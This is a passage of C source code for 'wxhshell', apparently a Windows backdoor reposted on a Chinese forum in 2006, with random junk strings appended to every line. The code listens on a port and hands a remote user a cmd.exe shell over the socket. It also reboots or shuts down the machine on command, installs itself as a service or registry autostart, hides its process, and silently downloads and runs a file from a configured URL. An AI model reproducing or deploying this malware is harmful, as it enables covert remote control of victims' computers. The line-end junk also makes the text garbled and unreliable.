    switch(cmd[0]) { (/_Q r2KfC  
  P#H#@:/3  
  // 帮助 gKZ{O  
  case '?': { |<.b:e\4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {/BEO=8q2  
    break; R0<ka[+  
  } n;"4`6L~  
  // 安装 z#!xqIg0  
  case 'i': { 7[-jr;v  
    if(Install()) QD:0iD?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xLZQ\2q  
    else lxK_+fj q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yvxC/Jo4  
    break; \2<2&=h?  
    } ISr~JQr  
  // 卸载 r1FE$R~C=  
  case 'r': { F.=u Jdl.!  
    if(Uninstall()) 'KGY;8<x]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e![Q1!r  
    else D^PsV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ &*$!M  
    break; {K'SOh H4?  
    } wN)R !6  
  // 显示 wxhshell 所在路径 |4Ix2GD  
  case 'p': { 04;y%~,}U/  
    char svExeFile[MAX_PATH]; ABV\:u  
    strcpy(svExeFile,"\n\r"); ,l<-*yMD  
      strcat(svExeFile,ExeFile); z1+rz%  
        send(wsh,svExeFile,strlen(svExeFile),0); 1#qCD["8  
    break; LM'` U-/e$  
    } e #^|NQ<'A  
  // 重启 Z"? AaD[  
  case 'b': { Za!c=(5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DuvP3(K  
    if(Boot(REBOOT)) ud:?~?j&w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U30)r+&  
    else { ^TWN_(-@  
    closesocket(wsh); ~rCnST  
    ExitThread(0); n@L!{zY  
    } <J-OwO a-1  
    break; 8"LaP3U  
    } )O- x1U  
  // 关机 %FFw!eVi  
  case 'd': { FA^x|C=$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Re1@2a>  
    if(Boot(SHUTDOWN)) -e(2?Xq9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /&j4IlT  
    else { Xs?7Whc6  
    closesocket(wsh); ,.FTw,<  
    ExitThread(0); &up/`8   
    } ;oFaDTX]  
    break; X}z KV  
    } lO $M6l  
  // 获取shell 0]oQ08  
  case 's': { 3R#<9O  
    CmdShell(wsh); W,{`)NWg  
    closesocket(wsh); _R(5?rG,  
    ExitThread(0); p>eD{#2  
    break; xYu~}kMu  
  } @?]-5~3;  
  // 退出 !v;r3*#Nky  
  case 'x': { UuT[UB=x5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lIjHd#q-C  
    CloseIt(wsh); Aq'%a)Y2  
    break; =cC]8Pz?  
    } cn\& ;55v  
  // 离开 f!$J_dz  
  case 'q': { >qF KXzI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sf*SxdoZU  
    closesocket(wsh); [ !R%yD;  
    WSACleanup(); wCt+{Y3T  
    exit(1); 4\OELU  
    break; Ok`U*j  
        } )vU{JY;  
  } Ic=V:  
  } 3Xh&l[.  
[S4\fy0  
  // 提示信息 *VlYl"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hYd8}BvA  
} |16 :Zoq  
  } , ;d9uG2  
Na~_=3+a  
  return; >Au<y,Tw  
} c&Zm>Qo[  
3N*Shzusbt  
// shell模块句柄 G>RYQ{O  
int CmdShell(SOCKET sock) C(0Iv[~y/  
{ ^p7(  
STARTUPINFO si; =hs@W)-O  
ZeroMemory(&si,sizeof(si)); PRz oLzr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %xZ.+Ff%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GO)rpk9  
PROCESS_INFORMATION ProcessInfo; /MU<)[*Ro  
char cmdline[]="cmd"; >(*jbL]p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f<;9q?0VF  
  return 0; -KNJCcBJ  
} 4a @iR2e  
twu6z5<!-=  
// 自身启动模式 ppnj.tLz;r  
int StartFromService(void) ,?d%&3z<a  
{ 8_,ZJ9l ;  
typedef struct V[xy9L[#  
{ }[DAk~  
  DWORD ExitStatus; R]Yhuo9,&n  
  DWORD PebBaseAddress; Azle ;\l`  
  DWORD AffinityMask; }1W$9\%  
  DWORD BasePriority; y*(YZzF  
  ULONG UniqueProcessId; >@L HJ61C  
  ULONG InheritedFromUniqueProcessId; a2 rv4d=  
}   PROCESS_BASIC_INFORMATION; #`fT%'T!  
|@g1|OWd|  
PROCNTQSIP NtQueryInformationProcess;  XGoy#h  
zc1Zuco| R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6+u'Tcb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d$TW](Bby  
$F-XXBp  
  HANDLE             hProcess; PW`Tuj  
  PROCESS_BASIC_INFORMATION pbi; jFXU xf  
Na6z,TW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CbHNb~  
  if(NULL == hInst ) return 0; <M7* N .  
 j%}Jl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xKr,XZu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `SwnKg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0&\Aw'21  
heKI<[8l  
  if (!NtQueryInformationProcess) return 0; 2$o[  
0/ Ht;(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'oHR4O*  
  if(!hProcess) return 0; (Lo2fY5  
709eLhXrH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =R'v]SXj  
~/U0S.C  
  CloseHandle(hProcess); dc>y7$2  
~tLR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _'7/99]4g}  
if(hProcess==NULL) return 0; *02( J  
W*<]`U_.  
HMODULE hMod; <C$<(Dw5  
char procName[255]; 'm cJ/9)v  
unsigned long cbNeeded; E%^28}dN  
yx2.7h3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }SV3PdE  
6\3k0z  
  CloseHandle(hProcess); [KH?5 C  
F&*M$@u5  
if(strstr(procName,"services")) return 1; // 以服务启动 S0+zq<  
upDQNG>d  
  return 0; // 注册表启动 u,m-6@ il  
} 1955(:I  
1,j9(m2  
// 主模块 QP B"E W  
int StartWxhshell(LPSTR lpCmdLine) ^PQV3\N  
{ <yS"c5D6  
  SOCKET wsl; hQm4R]a  
BOOL val=TRUE; m=MT`-:  
  int port=0; 0'hxw3#  
  struct sockaddr_in door; \Wc/kY3&  
>y9o&D  
  if(wscfg.ws_autoins) Install(); I{zE73  
yU|ji?)e  
port=atoi(lpCmdLine); uB1!*S1f  
MI(i%$R-A  
if(port<=0) port=wscfg.ws_port; C.E> )  
A7C+&I!L  
  WSADATA data; A E&n^vdQW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nEm7&Gb  
:*@|"4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *$(CiyF!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l,u{:JC  
  door.sin_family = AF_INET; CLfb`rF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $-]setdY  
  door.sin_port = htons(port); ^,K.)s  
8uxFXQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5{q/z^]  
closesocket(wsl); WdqK/s<jM  
return 1; z4641q5'm  
} 6B/"M-YME  
d;SRK @  
  if(listen(wsl,2) == INVALID_SOCKET) { %-/:ps  
closesocket(wsl); z8|9WZ:  
return 1; 5"am>$rh  
}  -C  ON  
  Wxhshell(wsl); X-$td~r  
  WSACleanup(); )6E*Qz  
A9UaLSe  
return 0; !>y}Xq{bm3  
)_e"N d4  
} `^-Be  
TDIOK  
// 以NT服务方式启动 [7 `Dgnmq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tgtoK|.  
{ FRt/{(jro  
DWORD   status = 0; Zk#i9[g9*  
  DWORD   specificError = 0xfffffff; m]d6@"Z.  
^Cn]+0G#C8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ff1B)e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HoE.//b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R9/xC7l@  
  serviceStatus.dwWin32ExitCode     = 0; j' KobyX<  
  serviceStatus.dwServiceSpecificExitCode = 0; hS{ *l9v7  
  serviceStatus.dwCheckPoint       = 0; eBTedSM?t  
  serviceStatus.dwWaitHint       = 0; 7(8  
%C6zXiO"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J+ZdZa}Ob  
  if (hServiceStatusHandle==0) return; $lAb6e$n  
Q(5:~**I  
status = GetLastError(); xO<-<sRA  
  if (status!=NO_ERROR) 0nz@O^*g(  
{ pZ~> l=-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V 1nZ M  
    serviceStatus.dwCheckPoint       = 0; $t# ,'M  
    serviceStatus.dwWaitHint       = 0; XjZao<?u  
    serviceStatus.dwWin32ExitCode     = status; BMWeD  
    serviceStatus.dwServiceSpecificExitCode = specificError; jnp6qpY{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %[\x%m)  
    return; Z*(! `,.bB  
  } J s<MJ4r>/  
fyq] M_5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^xw [d}0 S  
  serviceStatus.dwCheckPoint       = 0; e1^{  
  serviceStatus.dwWaitHint       = 0; Gx_`|I{P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x";.gjI |g  
} uM)9b*Vbo  
0S:!Gv +  
// 处理NT服务事件,比如:启动、停止 qVD!/;l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @VC9gd O/  
{ Qv0>Pf  
switch(fdwControl) % r   
{ 7R<u=U  
case SERVICE_CONTROL_STOP: RQS:h]?:l  
  serviceStatus.dwWin32ExitCode = 0; m)|.:sj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZYR,8y  
  serviceStatus.dwCheckPoint   = 0; aQ&8fteFR  
  serviceStatus.dwWaitHint     = 0; lDPRn~[#\  
  { hW !@$Ph  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #D LT-G0  
  } 2}`Vc{\  
  return; g1 Wtu*K3  
case SERVICE_CONTROL_PAUSE: yp2'KES>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; },EUcVXk  
  break; y)^CDe2xU  
case SERVICE_CONTROL_CONTINUE: />^`*e_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m wEVEx24  
  break; BRU9LS  
case SERVICE_CONTROL_INTERROGATE: .`Old{<  
  break; qe6C|W~n  
}; Z>Kcz^a#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)^3t ~  
} _/%]:  
FQ|LA[~  
// 标准应用程序主函数 n?e@):  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;TV'PJ  
{ %<J(lC9,C  
Kjn&  
// 获取操作系统版本 \B>[je-d  
OsIsNt=GetOsVer(); ? W2I1HEy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FM"GK '  
COan) <Ku  
  // 从命令行安装 \/'#=q1  
  if(strpbrk(lpCmdLine,"iI")) Install(); -4y)qGb*?  
o.A} ``  
  // 下载执行文件 t=W$'*P0}  
if(wscfg.ws_downexe) { Ca5Sc, no  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kJ#[UCqzM  
  WinExec(wscfg.ws_filenam,SW_HIDE); WrHgF*[  
} [Z5}2gB&  
\p3nd!OIG  
if(!OsIsNt) { CdzkMVH  
// 如果时win9x,隐藏进程并且设置为注册表启动 +1+A3  
HideProc(); =2g[tsY  
StartWxhshell(lpCmdLine); =JbdsYI(  
} Qor{1_h)+9  
else R(/[NvUb  
  if(StartFromService()) 71 L\t3fG  
  // 以服务方式启动 ."F'5eTT~  
  StartServiceCtrlDispatcher(DispatchTable); m.HX2(&\3  
else -@ UN]K  
  // 普通方式启动 k;K> ,$ F  
  StartWxhshell(lpCmdLine); z%}CB Tm  
/ UaNYv/  
return 0; C6D=>%uY  
}
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只看该作者 1 发表于: 2006-10-10
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